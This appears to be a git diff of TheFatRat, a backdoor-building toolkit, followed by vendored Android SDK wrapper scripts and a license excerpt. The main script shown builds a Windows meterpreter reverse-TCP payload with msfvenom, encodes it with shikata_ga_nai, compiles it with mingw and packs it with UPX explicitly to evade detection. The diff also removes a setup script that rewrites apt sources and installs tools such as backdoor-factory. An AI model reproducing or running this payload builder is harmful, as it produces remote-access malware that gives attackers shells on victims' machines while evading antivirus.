rm -f $output/Powerfull.exe >/dev/null 2>&1
rm -f $output/Powerfull-fud.exe >/dev/null 2>&1
#Banner
clear
echo
@ -47,11 +142,78 @@ echo -e $yellow" ===============================================================
echo -e $okegreen""
#input lhost and lport
echo -e $okegreen""
echo -e $yellow "Your local IPV4 address is : $lanip"
echo -e $yellow "Your local IPV6 address is : $lanip6"
echo -e $yellow "Your public IP address is : $publicip"
echo -e $yellow "Your Hostname is : $hostn"
echo -e $okegreen ""
if [ ! -f "$defcon" ]
then
yourip=""
yourport=""
fi
if [ -z "$yourip" ]; then
read -p ' Set LHOST IP: ' yourip
fi
echo -e $okegreen ""
if [ -z "$yourport" ]; then
read -p ' Set LPORT: ' yourport
fi
invalid1
if [ $err == "1" ]
then
echo -e $okegreen ""
echo -n "Press any key to restart again ."
read inp
./powerfull.sh
fi
read -p ' Set LHOST IP: ' payloadLHOST; read -p ' Set LPORT: ' payloadLPORT
echo ""
if [ $comp == "1" ]
then
COMPILER="i686-w64-mingw32-gcc"
fi
if [ $comp == "2" ]
then
COMPILER="x86_64-w64-mingw32-gcc"
fi
if [ $comp == "3" ]
then
echo ""
echo -e $yellow "You can compile this FUD for 32bit or 64bit windows machines"
echo ""
echo -e $green "Choose one of the following options"
echo -e $orange "+-------------------------------+"
echo -e $orange "|$white [$green 1$white ] $yellow Compile 32bit FUD Exe $orange |"
echo -e $orange "|$white [$green 2$white ] $yellow Compile 64bit FUD Exe $orange |"
echo -e $orange "+-------------------------------+"
echo ""
echo -ne $green "Choose (1 or 2) : " ;tput sgr0
read archs
case $archs in
1)
COMPILER="i686-w64-mingw32-gcc"
echo ""
echo -e $green "32bit Selected"
sleep 1
;;
2)
COMPILER="x86_64-w64-mingw32-gcc"
echo ""
echo -e $green "64bit Selected"
sleep 1
;;
*)
COMPILER="x86_64-w64-mingw32-gcc"
echo ""
echo -e $green "Invalid Option , setting 32bit as default"
sleep 1
;;
esac
fi
echo -e $okegreen
payload="windows/meterpreter/reverse_tcp"
msfvenomBadChars="\x00\xff"
msfvenomEncoder="x86/shikata_ga_nai"
@ -62,7 +224,7 @@ delayRandomness=32676 # The higher the delay the longer it will take to execute
#Set directory
currentDir=`pwd`
outputDir="${currentDir}/output/"
outputDir="$output/"
outputExe="${outputDir}Powerfull.exe" # You can change the name of the executable on this line
outputUPX="${outputDir}Powerfull-fud.exe" # You can change the name of the executable on this line
@ -140,26 +302,7 @@ if [[ -f "$outputExe" ]]; then
echo ""
fi
# Warn if the gcc-mingw32 package is not located here /usr/bin/i586-mingw32msvc-gcc
# You may need to install the following on Kali Linux to compile the C to an Exe - "apt-get install gcc-mingw32"
# check mingw if exists
which i586-mingw32msvc-gcc > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
echo []::[mingw32]: installation found!;
COMPILER="i586-mingw32msvc-gcc"
else
which i686-w64-mingw32-gcc > /dev/null 2>&1
if [ $? -eq 0 ]; then
echo []::[mingw32]: installation found!;
COMPILER="i686-w64-mingw32-gcc"
else
echo [x]::[warning]:this script require mingw32 installed to work ;
echo ""
echo [!]::[please wait]: please run setup.sh .... ;
sleep 2
exit
fi
fi
sleep 2
@ -186,7 +329,7 @@ while [[ ! -f "$outputExe" ]]; do
generatePadding
echo "" >> $cProg
msfvenom -p ${payload} LHOST=$payloadLHOST LPORT=$payloadLPORT -b ${msfvenomBadChars} -e ${msfvenomEncoder} -i ${msfvenomIterations} -f c >> $cProg
$msfvenom -p ${payload} LHOST=$yourip LPORT=$yourport -b ${msfvenomBadChars} -e ${msfvenomEncoder} -i ${msfvenomIterations} -f c >> $cProg
generatePadding
@ -207,8 +350,31 @@ while [[ ! -f "$outputExe" ]]; do
$COMPILER -o $outputExe $cProg
done
if [[ -f "$outputExe" ]]
then
echo "Uncompressed backdoor created in : $outputExe"
else
echo "Unable to compile backdoor"
echo -n "Press Enter to return to menu"
read rsp
exit 0
fi
echo ""
echo -n "Compressing $outputExe with UPX to be less detectable ...."
# Use UPX to create a second executable, testing...
upx -q --ultra-brute -o $outputUPX $outputExe
upx -q --ultra-brute -o $outputUPX $outputExe >/dev/null 2>&1
echo "Done"
if [[ -f "$outputUPX" ]]
then
echo "Compressed Backdoor was build in : $outputUPX"
echo ""
echo -n "Press Enter to return to fatrat menu"
read rsp
exit 0
else
echo "Unable to compress $outputExe with UPX"
echo -n "Press Enter to return to fatrat menu"
read rsp
exit 0
fi

8461
prog.c

File diff suppressed because it is too large Load Diff

1
release Normal file
View File

@ -0,0 +1 @@
1.9.8

1474
setup.sh Normal file

File diff suppressed because it is too large Load Diff

View File

@ -1,197 +0,0 @@
#!/bin/bash
# setup.sh Author : Edo maland ( Screetsec )
# Install all dependencies nedded
# configuration all file for fixing all problem
# --------------------------------------------------------
#Check root dulu
[[ `id -u` -eq 0 ]] || { echo -e "\e[31mMust be root to run script"; exit 1; }
resize -s 30 73 > /dev/null
clear
#This colour
cyan='\e[0;36m'
green='\e[0;34m'
okegreen='\033[92m'
lightgreen='\e[1;32m'
white='\e[1;37m'
red='\e[1;31m'
yellow='\e[1;33m'
BlueF='\e[1;34m'
path=`pwd`
#Banner dong biar keren
echo -e $cyan ""
echo " [ ]=================================================[ ]";
echo " [ ] ________ ____ __ ___ __ [ ]";
echo " [ ] /_ __/ / ___ / __/__ _/ /_/ _ \___ _/ /_ [ ]";
echo " [ ] / / / _ \/ -_) _// _ \`/ __/ , _/ _ \`/ __/ [ ]";
echo " [ ] /_/ /_//_/\__/_/ \_,_/\__/_/|_|\_,_/\__/ [ ]";
echo " [ ]=================================================[ ] ";
echo " [ ] Setup.sh - configuration script [ ]"
echo " [ ] Use this script to configure fatrat [ ]"
echo " [ ] Install all dependencies [ ]"
echo " [ ]=================================================[ ]";
echo ""
#################################
#inputrepo
#################################
cd /etc/apt && cp sources.list sources.list.backup # backup
rm sources.list
echo 'deb http://old.kali.org/kali sana main non-free contrib' >> /etc/apt/sources.list
echo 'deb-src http://old.kali.org/kali sana main non-free contrib' >> /etc/apt/sources.list
echo 'deb http://http.kali.org/kali kali-rolling main contrib non-free' >> /etc/apt/sources.list
echo 'deb-src http://http.kali.org/kali kali-rolling main contrib non-free' >> /etc/apt/sources.list
xterm -T "☣ UPDATE YOUR REPO ☣" -geometry 100x30 -e "sudo apt-get update "
sleep 2
# check if msfconsole its installed
which msfconsole > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
echo "[ ✔ ] msfconsole........................[ found ]"
sleep 2
else
echo ""
echo "[ X ] msfconsole -> not found ]"
echo "[ ! ] This script requires msfconsole ]"
sleep 2
exit
fi
# check if msfvenom
which msfvenom > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
echo "[ ✔ ] msfvenom..........................[ found ]"
sleep 2
else
echo ""
echo "[ X ] msfvenom -> not found ]"
echo "[ ! ] This script requires msfvenom too ]"
sleep 2
exit
fi
#check if zenity its installed
which zenity > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
echo "[ ✔ ] zenity............................[ found ]"
sleep 2
else
echo ""
echo "[ X ] zenity -> not found! ]"
echo "[ ! ] This script requires zenity ]"
sleep 2
echo "[ ? ] Please download zenity ]"
su $user -c "xdg-open http://www.tecmint.com/zenity-creates-graphical-gtk-dialog-boxes-in-command-line-and-shell-scripts/" > /dev/null 2>&1
fi
# check if gcc exists
which gcc > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
echo "[ ✔ ] gcc compiler......................[ found ]"
sleep 2
else
echo "[ X ] gcc compiler -> not found ]"
echo "[ ! ] Download compiler -> apt-get install gcc ]"
xterm -T "☣ INSTALL GCC COMPILLER ☣" -geometry 100x30 -e "sudo apt-get install gcc -y"
sleep 2
fi
# check if mingw32 exists
which i586-mingw32msvc-gcc > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
echo "[ ✔ ] mingw32 compiler..................[ found ]"
sleep 2
else
echo "[ X ] mingw32 compiler -> not found ]"
echo "[ ! ] Download compiler ........................."
xterm -T "☣ INSTALL MINGW32 COMPILLER ☣" -geometry 100x30 -e "sudo apt-get install mingw32 -y"
echo "[ ✔ ] Done installing .... "
sleep 2
fi
# check if backdoor-factory exists
which backdoor-factory > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
echo "[ ✔ ] backdoor-factory..................[ found ]"
sleep 2
else
echo "[ X ] backdoor-factory -> not found ]"
echo "[ ! ] Download compiler ........................."
xterm -T "☣ INSTALL BACKDOOR-FACTORY ☣" -geometry 100x30 -e "sudo apt-get install backdoor-factory -y"
echo "[ ✔ ] Done installing ...."
sleep 2
fi
# check if monodevelop exists
which monodevelop > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
echo "[ ✔ ] monodevelop ......................[ found ]"
sleep 2
else
echo "[ X ] Monodevelop -> not found ]"
echo "[ ! ] Download Monodevelop ........................."
xterm -T "☣ INSTALL MINGW32 COMPILLER ☣" -geometry 100x30 -e "sudo apt-get install monodevelop -y"
echo "[ ✔ ] Done installing ...."
sleep 2
fi
# check if ruby exists
which ruby > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
echo "[ ✔ ] Ruby .............................[ found ]"
sleep 2
else
echo "[ X ] ruby -> not found ]"
echo "[ ! ] Download ruby ........................."
xterm -T "☣ INSTALL MINGW32 COMPILLER ☣" -geometry 100x30 -e "sudo apt-get install ruby -y"
echo "[ ✔ ] Done installing ...."
sleep 2
fi
#check if apache2 exists
which apache2 > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
echo "[ ✔ ] apache2 ..........................[ found ]"
sleep 2
else
echo "[ X ] ruby -> not found ]"
echo "[ ! ] Download apache2 ........................."
xterm -T "☣ INSTALL MINGW32 COMPILLER ☣" -geometry 100x30 -e "sudo apt-get install apache2 -y"
echo "[ ✔ ] Done installing ...."
sleep 2
fi
echo ""
echo "Configuration and tool installed with success!";
sleep 2
################################
# rebackyo repo
################################
rm sources.list
mv sources.list.backup sources.list && cd $path
apt-get clean
xterm -T "☣ UPDATE YOUR REPO ☣" -geometry 100x30 -e "sudo apt-get update "
clear
echo "";
echo "[ ]====================================================================[ ]";
echo "[ ] All is done!! You can execute TheFatRat :) ! [ ]";
echo "[ ]====================================================================[ ]";
echo "";
sleep 2
exit

View File

@ -1 +0,0 @@
Don't Delete the Folder temp and dont change directory name , if you change you must change the scripttoo

1
temp/readme.md Normal file
View File

@ -0,0 +1 @@
Temporary folder for fatrat to work

14640
tools/android-sdk/NOTICE.txt Normal file

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1 @@
Android-Build-tools r30.0.1

BIN
tools/android-sdk/aapt Executable file

Binary file not shown.

BIN
tools/android-sdk/aapt2 Executable file

Binary file not shown.

View File

@ -0,0 +1,5 @@
This dummy file substitutes for an old linker that used to be at its location.
The presence of this file ensures that old versions of AGP continue to trust build tools integrity
(which they would not if the file were removed).
Old versions of AGP will not be able to do compatibility mode RenderScript builds,
but everything else should work.

BIN
tools/android-sdk/aidl Executable file

Binary file not shown.

89
tools/android-sdk/apksigner Executable file
View File

@ -0,0 +1,89 @@
#!/bin/bash
#
# Copyright (C) 2016 The Android Open Source Project
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Set up prog to be the path of this script, including following symlinks,
# and set up progdir to be the fully-qualified pathname of its directory.
prog="$0"
while [ -h "${prog}" ]; do
newProg=`/bin/ls -ld "${prog}"`
newProg=`expr "${newProg}" : ".* -> \(.*\)$"`
if expr "x${newProg}" : 'x/' >/dev/null; then
prog="${newProg}"
else
progdir=`dirname "${prog}"`
prog="${progdir}/${newProg}"
fi
done
oldwd=`pwd`
progdir=`dirname "${prog}"`
cd "${progdir}"
progdir=`pwd`
prog="${progdir}"/`basename "${prog}"`
cd "${oldwd}"
jarfile=apksigner.jar
libdir="$progdir"
if [ ! -r "$libdir/$jarfile" ]; then
# set apksigner.jar location for the SDK case
libdir="$libdir/lib"
fi
if [ ! -r "$libdir/$jarfile" ]; then
# set apksigner.jar location for the Android tree case
libdir=`dirname "$progdir"`/framework
fi
if [ ! -r "$libdir/$jarfile" ]; then
echo `basename "$prog"`": can't find $jarfile"
exit 1
fi
# By default, give apksigner a max heap size of 1 gig. This can be overridden
# by using a "-J" option (see below).
defaultMx="-Xmx1024M"
# The following will extract any initial parameters of the form
# "-J<stuff>" from the command line and pass them to the Java
# invocation (instead of to apksigner). This makes it possible for you to add
# a command-line parameter such as "-JXmx256M" in your scripts, for
# example. "java" (with no args) and "java -X" give a summary of
# available options.
javaOpts=""
while expr "x$1" : 'x-J' >/dev/null; do
opt=`expr "x$1" : 'x-J\(.*\)'`
javaOpts="${javaOpts} -${opt}"
if expr "x${opt}" : "xXmx[0-9]" >/dev/null; then
defaultMx="no"
fi
shift
done
if [ "${defaultMx}" != "no" ]; then
javaOpts="${javaOpts} ${defaultMx}"
fi
if [ "$OSTYPE" = "cygwin" ]; then
# For Cygwin, convert the jarfile path into native Windows style.
jarpath=`cygpath -w "$libdir/$jarfile"`
else
jarpath="$libdir/$jarfile"
fi
exec java $javaOpts -jar "$jarpath" "$@"

View File

@ -0,0 +1,5 @@
This dummy file substitutes for an old linker that used to be at its location.
The presence of this file ensures that old versions of AGP continue to trust build tools integrity
(which they would not if the file were removed).
Old versions of AGP will not be able to do compatibility mode RenderScript builds,
but everything else should work.

BIN
tools/android-sdk/bcc_compat Executable file

Binary file not shown.

Binary file not shown.

89
tools/android-sdk/d8 Executable file
View File

@ -0,0 +1,89 @@
#!/bin/bash
#
# Copyright (C) 2017 The Android Open Source Project
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Set up prog to be the path of this script, including following symlinks,
# and set up progdir to be the fully-qualified pathname of its directory.
prog="$0"
while [ -h "${prog}" ]; do
newProg=`/bin/ls -ld "${prog}"`
newProg=`expr "${newProg}" : ".* -> \(.*\)$"`
if expr "x${newProg}" : 'x/' >/dev/null; then
prog="${newProg}"
else
progdir=`dirname "${prog}"`
prog="${progdir}/${newProg}"
fi
done
oldwd=`pwd`
progdir=`dirname "${prog}"`
cd "${progdir}"
progdir=`pwd`
prog="${progdir}"/`basename "${prog}"`
cd "${oldwd}"
jarfile=d8.jar
libdir="$progdir"
if [ ! -r "$libdir/$jarfile" ]; then
# set d8.jar location for the SDK case
libdir="$libdir/lib"
fi
if [ ! -r "$libdir/$jarfile" ]; then
# set d8.jar location for the Android tree case
libdir=`dirname "$progdir"`/framework
fi
if [ ! -r "$libdir/$jarfile" ]; then
echo `basename "$prog"`": can't find $jarfile"
exit 1
fi
# By default, give d8 a max heap size of 2 gigs. This can be overridden
# by using a "-J" option (see below).
defaultMx="-Xmx2G"
# The following will extract any initial parameters of the form
# "-J<stuff>" from the command line and pass them to the Java
# invocation (instead of to d8). This makes it possible for you to add
# a command-line parameter such as "-JXmx256M" in your scripts, for
# example. "java" (with no args) and "java -X" give a summary of
# available options.
declare -a javaOpts=()
while expr "x$1" : 'x-J' >/dev/null; do
opt=`expr "x$1" : 'x-J\(.*\)'`
javaOpts+=("-${opt}")
if expr "x${opt}" : "xXmx[0-9]" >/dev/null; then
defaultMx="no"
fi
shift
done
if [ "${defaultMx}" != "no" ]; then
javaOpts+=("${defaultMx}")
fi
if [ "$OSTYPE" = "cygwin" ]; then
# For Cygwin, convert the jarfile path into native Windows style.
jarpath=`cygpath -w "$libdir/$jarfile"`
else
jarpath="$libdir/$jarfile"
fi
exec java "${javaOpts[@]}" -cp "$jarpath" com.android.tools.r8.D8 "$@"

BIN
tools/android-sdk/dexdump Executable file

Binary file not shown.

89
tools/android-sdk/dx Executable file
View File

@ -0,0 +1,89 @@
#!/bin/bash
#
# Copyright (C) 2007 The Android Open Source Project
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Set up prog to be the path of this script, including following symlinks,
# and set up progdir to be the fully-qualified pathname of its directory.
prog="$0"
while [ -h "${prog}" ]; do
newProg=`/bin/ls -ld "${prog}"`
newProg=`expr "${newProg}" : ".* -> \(.*\)$"`
if expr "x${newProg}" : 'x/' >/dev/null; then
prog="${newProg}"
else
progdir=`dirname "${prog}"`
prog="${progdir}/${newProg}"
fi
done
oldwd=`pwd`
progdir=`dirname "${prog}"`
cd "${progdir}"
progdir=`pwd`
prog="${progdir}"/`basename "${prog}"`
cd "${oldwd}"
jarfile=dx.jar
libdir="$progdir"
if [ ! -r "$libdir/$jarfile" ]; then
# set dx.jar location for the SDK case
libdir="$libdir/lib"
fi
if [ ! -r "$libdir/$jarfile" ]; then
# set dx.jar location for the Android tree case
libdir=`dirname "$progdir"`/framework
fi
if [ ! -r "$libdir/$jarfile" ]; then
echo `basename "$prog"`": can't find $jarfile"
exit 1
fi
# By default, give dx a max heap size of 1 gig. This can be overridden
# by using a "-J" option (see below).
defaultMx="-Xmx1024M"
# The following will extract any initial parameters of the form
# "-J<stuff>" from the command line and pass them to the Java
# invocation (instead of to dx). This makes it possible for you to add
# a command-line parameter such as "-JXmx256M" in your scripts, for
# example. "java" (with no args) and "java -X" give a summary of
# available options.
javaOpts=""
while expr "x$1" : 'x-J' >/dev/null; do
opt=`expr "x$1" : 'x-J\(.*\)'`
javaOpts="${javaOpts} -${opt}"
if expr "x${opt}" : "xXmx[0-9]" >/dev/null; then
defaultMx="no"
fi
shift
done
if [ "${defaultMx}" != "no" ]; then
javaOpts="${javaOpts} ${defaultMx}"
fi
if [ "$OSTYPE" = "cygwin" ]; then
# For Cygwin, convert the jarfile path into native Windows style.
jarpath=`cygpath -w "$libdir/$jarfile"`
else
jarpath="$libdir/$jarfile"
fi
exec java $javaOpts -jar "$jarpath" "$@"

View File

@ -0,0 +1,5 @@
This dummy file substitutes for an old linker that used to be at its location.
The presence of this file ensures that old versions of AGP continue to trust build tools integrity
(which they would not if the file were removed).
Old versions of AGP will not be able to do compatibility mode RenderScript builds,
but everything else should work.

Binary file not shown.

Binary file not shown.

BIN
tools/android-sdk/jack.jar Normal file

Binary file not shown.

BIN
tools/android-sdk/jill.jar Normal file

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

BIN
tools/android-sdk/lib64/libbcc.so Executable file

Binary file not shown.

Binary file not shown.

BIN
tools/android-sdk/lib64/libc++.so Executable file

Binary file not shown.

Binary file not shown.

Binary file not shown.

17
tools/android-sdk/lld Executable file
View File

@ -0,0 +1,17 @@
#!/bin/bash
#
# Copyright (C) 2020 The Android Open Source Project
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
$(dirname "$0")/lld-bin/lld "$@"

BIN
tools/android-sdk/lld-bin/lld Executable file

Binary file not shown.

BIN
tools/android-sdk/llvm-rs-cc Executable file

Binary file not shown.

180
tools/android-sdk/mainDexClasses Executable file
View File

@ -0,0 +1,180 @@
#!/bin/bash
#
# Copyright (C) 2013 The Android Open Source Project
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
function makeTempJar ()
{
local tempDir=/tmp
if [ ! -e "${tempDir}" ]; then
tempDir=.
fi
local tempfile="${tempDir}/mainDexClasses-$$.tmp.jar"
if [ -e "${tempfile}" ]; then
echo "Failed to create temporary file" >2
exit 6
fi
echo "${tempfile}"
}
function cleanTmp ()
{
if [ -e "${tmpOut}" ] ; then
rm "${tmpOut}"
fi
}
# Set up prog to be the path of this script, including following symlinks,
# and set up progdir to be the fully-qualified pathname of its directory.
prog="$0"
while [ -h "${prog}" ]; do
newProg=`/bin/ls -ld "${prog}"`
newProg=`expr "${newProg}" : ".* -> \(.*\)$"`
if expr "x${newProg}" : 'x/' >/dev/null; then
prog="${newProg}"
else
progdir=`dirname "${prog}"`
prog="${progdir}/${newProg}"
fi
done
oldwd=`pwd`
progdir=`dirname "${prog}"`
cd "${progdir}"
progdir=`pwd`
prog="${progdir}"/`basename "${prog}"`
cd "${oldwd}"
baserules="${progdir}"/mainDexClasses.rules
if [ ! -r "${baserules}" ]; then
echo `basename "$prog"`": can't find mainDexClasses.rules" 1>&2
exit 1
fi
extrarules="${progdir}"/mainDexClassesNoAapt.rules
if [ ! -r ${extrarules} ]; then
echo `basename "$prog"`": can't find mainDexClassesNoAapt.rules" 1>&2
exit 1
fi
jarfile=dx.jar
libdir="$progdir"
if [ ! -r "$libdir/$jarfile" ]; then
# set dx.jar location for the SDK case
libdir="$libdir/lib"
fi
if [ ! -r "$libdir/$jarfile" ]; then
# set dx.jar location for the Android tree case
libdir=`dirname "$progdir"`/framework
fi
if [ ! -r "$libdir/$jarfile" ]; then
echo `basename "$prog"`": can't find $jarfile" 1>&2
exit 1
fi
proguardExec="proguard.sh"
proguard=${PROGUARD_HOME}/bin/${proguardExec}
if [ ! -r "${proguard}" ]; then
# set proguard location for the SDK case
proguardBaseDir=`dirname "$progdir"`
# "${progdir}"/../..
proguardBaseDir=`dirname "$proguardBaseDir"`
proguard="${proguardBaseDir}"/tools/proguard/bin/${proguardExec}
fi
if [ ! -r "${proguard}" ]; then
# set proguard location for the Android tree case
proguardBaseDir=`dirname "$proguardBaseDir"`
# "${progdir}"/../../../..
proguardBaseDir=`dirname "$proguardBaseDir"`
proguard="${proguardBaseDir}"/external/proguard/bin/${proguardExec}
fi
if [ ! -r "${proguard}" ]; then
proguard="${ANDROID_BUILD_TOP}"/external/proguard/bin/${proguardExec}
fi
if [ ! -r "${proguard}" ]; then
proguard="`which proguard`"
fi
if [ -z "${proguard}" -o ! -r "${proguard}" ]; then
proguard="`which ${proguardExec}`"
fi
if [ -z "${proguard}" -o ! -r "${proguard}" ]; then
echo `basename "$prog"`": can't find ${proguardExec}" 1>&2
exit 1
fi
shrinkedAndroidJar="${SHRINKED_ANDROID_JAR}"
if [ -z "${shrinkedAndroidJar}" ]; then
shrinkedAndroidJar=shrinkedAndroid.jar
fi
if [ ! -r "${shrinkedAndroidJar}" ]; then
shrinkedAndroidJar=${libdir}/${shrinkedAndroidJar}
fi
if [ ! -r "${shrinkedAndroidJar}" ]; then
echo `basename "$prog"`": can't find shrinkedAndroid.jar" 1>&2
exit 1
fi
if [ "$OSTYPE" = "cygwin" ]; then
# For Cygwin, convert the jarfile path into native Windows style.
jarpath=`cygpath -w "$libdir/$jarfile"`
proguard=`cygpath -w "${proguard}"`
shrinkedAndroidJar=`cygpath -w "${shrinkedAndroidJar}"`
else
jarpath="$libdir/$jarfile"
fi
disableKeepAnnotated=
while true; do
if expr "x$1" : 'x--output' >/dev/null; then
exec 1>$2
shift 2
elif expr "x$1" : 'x--disable-annotation-resolution-workaround' >/dev/null; then
disableKeepAnnotated=$1
shift 1
elif expr "x$1" : "x--aapt-rules" >/dev/null; then
extrarules=$2
shift 2
else
break
fi
done
if [ $# -ne 1 ]; then
echo "Usage : $0 [--output <output file>] <application path>" 1>&2
exit 2
fi
tmpOut=`makeTempJar`
trap cleanTmp 0
"${proguard}" -injars ${@} -dontwarn -forceprocessing -outjars "${tmpOut}" \
-libraryjars "${shrinkedAndroidJar}" -dontoptimize -dontobfuscate -dontpreverify \
-include "${baserules}" -include "${extrarules}" 1>/dev/null || exit 10
java -cp "$jarpath" com.android.multidex.MainDexListBuilder ${disableKeepAnnotated} "${tmpOut}" ${@} || exit 11

View File

@ -0,0 +1,20 @@
-keep public class * extends android.app.Instrumentation {
<init>();
}
-keep public class * extends android.app.Application {
<init>();
void attachBaseContext(android.content.Context);
}
-keep public class * extends android.app.backup.BackupAgent {
<init>();
}
# We need to keep all annotation classes because proguard does not trace annotation attribute
# it just filter the annotation attributes according to annotation classes it already kept.
-keep public class * extends java.lang.annotation.Annotation {
*;
}
# Keep old fashion tests in the main dex or they'll be silently ignored by InstrumentationTestRunner
-keep public class * extends android.test.InstrumentationTestCase {
<init>();
}

View File

@ -0,0 +1,13 @@
-keep public class * extends android.app.Activity {
<init>();
}
-keep public class * extends android.app.Service {
<init>();
}
-keep public class * extends android.content.ContentProvider {
<init>();
}
-keep public class * extends android.content.BroadcastReceiver {
<init>();
}

View File

@ -0,0 +1,5 @@
This dummy file substitutes for an old linker that used to be at its location.
The presence of this file ensures that old versions of AGP continue to trust build tools integrity
(which they would not if the file were removed).
Old versions of AGP will not be able to do compatibility mode RenderScript builds,
but everything else should work.

View File

@ -0,0 +1,141 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><ns2:repository xmlns:ns2="http://schemas.android.com/repository/android/common/01" xmlns:ns3="http://schemas.android.com/sdk/android/repo/addon2/01" xmlns:ns4="http://schemas.android.com/sdk/android/repo/sys-img2/01" xmlns:ns5="http://schemas.android.com/repository/android/generic/01" xmlns:ns6="http://schemas.android.com/sdk/android/repo/repository2/01"><license id="android-sdk-license" type="text">Terms and Conditions
This is the Android Software Development Kit License Agreement
1. Introduction
1.1 The Android Software Development Kit (referred to in the License Agreement as the "SDK" and specifically including the Android system files, packaged APIs, and Google APIs add-ons) is licensed to you subject to the terms of the License Agreement. The License Agreement forms a legally binding contract between you and Google in relation to your use of the SDK.
1.2 "Android" means the Android software stack for devices, as made available under the Android Open Source Project, which is located at the following URL: http://source.android.com/, as updated from time to time.
1.3 A "compatible implementation" means any Android device that (i) complies with the Android Compatibility Definition document, which can be found at the Android compatibility website (http://source.android.com/compatibility) and which may be updated from time to time; and (ii) successfully passes the Android Compatibility Test Suite (CTS).
1.4 "Google" means Google Inc., a Delaware corporation with principal place of business at 1600 Amphitheatre Parkway, Mountain View, CA 94043, United States.
2. Accepting the License Agreement
2.1 In order to use the SDK, you must first agree to the License Agreement. You may not use the SDK if you do not accept the License Agreement.
2.2 By clicking to accept, you hereby agree to the terms of the License Agreement.
2.3 You may not use the SDK and may not accept the License Agreement if you are a person barred from receiving the SDK under the laws of the United States or other countries, including the country in which you are resident or from which you use the SDK.
2.4 If you are agreeing to be bound by the License Agreement on behalf of your employer or other entity, you represent and warrant that you have full legal authority to bind your employer or such entity to the License Agreement. If you do not have the requisite authority, you may not accept the License Agreement or use the SDK on behalf of your employer or other entity.
3. SDK License from Google
3.1 Subject to the terms of the License Agreement, Google grants you a limited, worldwide, royalty-free, non-assignable, non-exclusive, and non-sublicensable license to use the SDK solely to develop applications for compatible implementations of Android.
3.2 You may not use this SDK to develop applications for other platforms (including non-compatible implementations of Android) or to develop another SDK. You are of course free to develop applications for other platforms, including non-compatible implementations of Android, provided that this SDK is not used for that purpose.
3.3 You agree that Google or third parties own all legal right, title and interest in and to the SDK, including any Intellectual Property Rights that subsist in the SDK. "Intellectual Property Rights" means any and all rights under patent law, copyright law, trade secret law, trademark law, and any and all other proprietary rights. Google reserves all rights not expressly granted to you.
3.4 You may not use the SDK for any purpose not expressly permitted by the License Agreement. Except to the extent required by applicable third party licenses, you may not: (a) copy (except for backup purposes), modify, adapt, redistribute, decompile, reverse engineer, disassemble, or create derivative works of the SDK or any part of the SDK; or (b) load any part of the SDK onto a mobile handset or any other hardware device except a personal computer, combine any part of the SDK with other software, or distribute any software or device incorporating a part of the SDK.
3.5 Use, reproduction and distribution of components of the SDK licensed under an open source software license are governed solely by the terms of that open source software license and not the License Agreement.
3.6 You agree that the form and nature of the SDK that Google provides may change without prior notice to you and that future versions of the SDK may be incompatible with applications developed on previous versions of the SDK. You agree that Google may stop (permanently or temporarily) providing the SDK (or any features within the SDK) to you or to users generally at Google's sole discretion, without prior notice to you.
3.7 Nothing in the License Agreement gives you a right to use any of Google's trade names, trademarks, service marks, logos, domain names, or other distinctive brand features.
3.8 You agree that you will not remove, obscure, or alter any proprietary rights notices (including copyright and trademark notices) that may be affixed to or contained within the SDK.
4. Use of the SDK by You
4.1 Google agrees that it obtains no right, title or interest from you (or your licensors) under the License Agreement in or to any software applications that you develop using the SDK, including any intellectual property rights that subsist in those applications.
4.2 You agree to use the SDK and write applications only for purposes that are permitted by (a) the License Agreement and (b) any applicable law, regulation or generally accepted practices or guidelines in the relevant jurisdictions (including any laws regarding the export of data or software to and from the United States or other relevant countries).
